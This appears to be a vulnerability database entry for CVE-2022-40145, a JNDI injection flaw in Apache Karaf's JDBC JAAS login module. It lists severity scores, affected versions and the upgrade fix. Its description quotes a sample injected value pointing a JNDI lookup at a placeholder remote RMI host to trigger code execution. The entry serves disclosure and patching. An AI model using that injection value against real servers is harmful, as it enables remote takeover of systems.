by Kastro
Paper/Archive/CVE-2022-40145

CVE-2022-40145

Apache Software Foundation Apache Karaf — Apache Karaf: JDBC JAAS LDAP injection

EPSS 3%CVSS 9.8
critical.is priorityof 100
47
CVSS 9.8 (NVD, ADP agree)9.8 / 10 × 3029.4Not in CISA KEV+300.0EPSS percentile 85.3.853 × 2017.1No public exploit+100.0SSVC exploitation: none+100.0
Description · from the CVE record

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Affected

ProductAffectedFixed inSource
Apache Karaf4.4.0 – < 4.4.24.4.2CNA
Apache Karaf< 4.3.84.3.8CNA

Scores by source

CISA ADP9.8CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NVD9.8CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CISA ADPSSVCExploitation: none · Automatable: yes · Technical impact: total

References

advisorykaraf.apache.org/security/cve-2022-40145.txt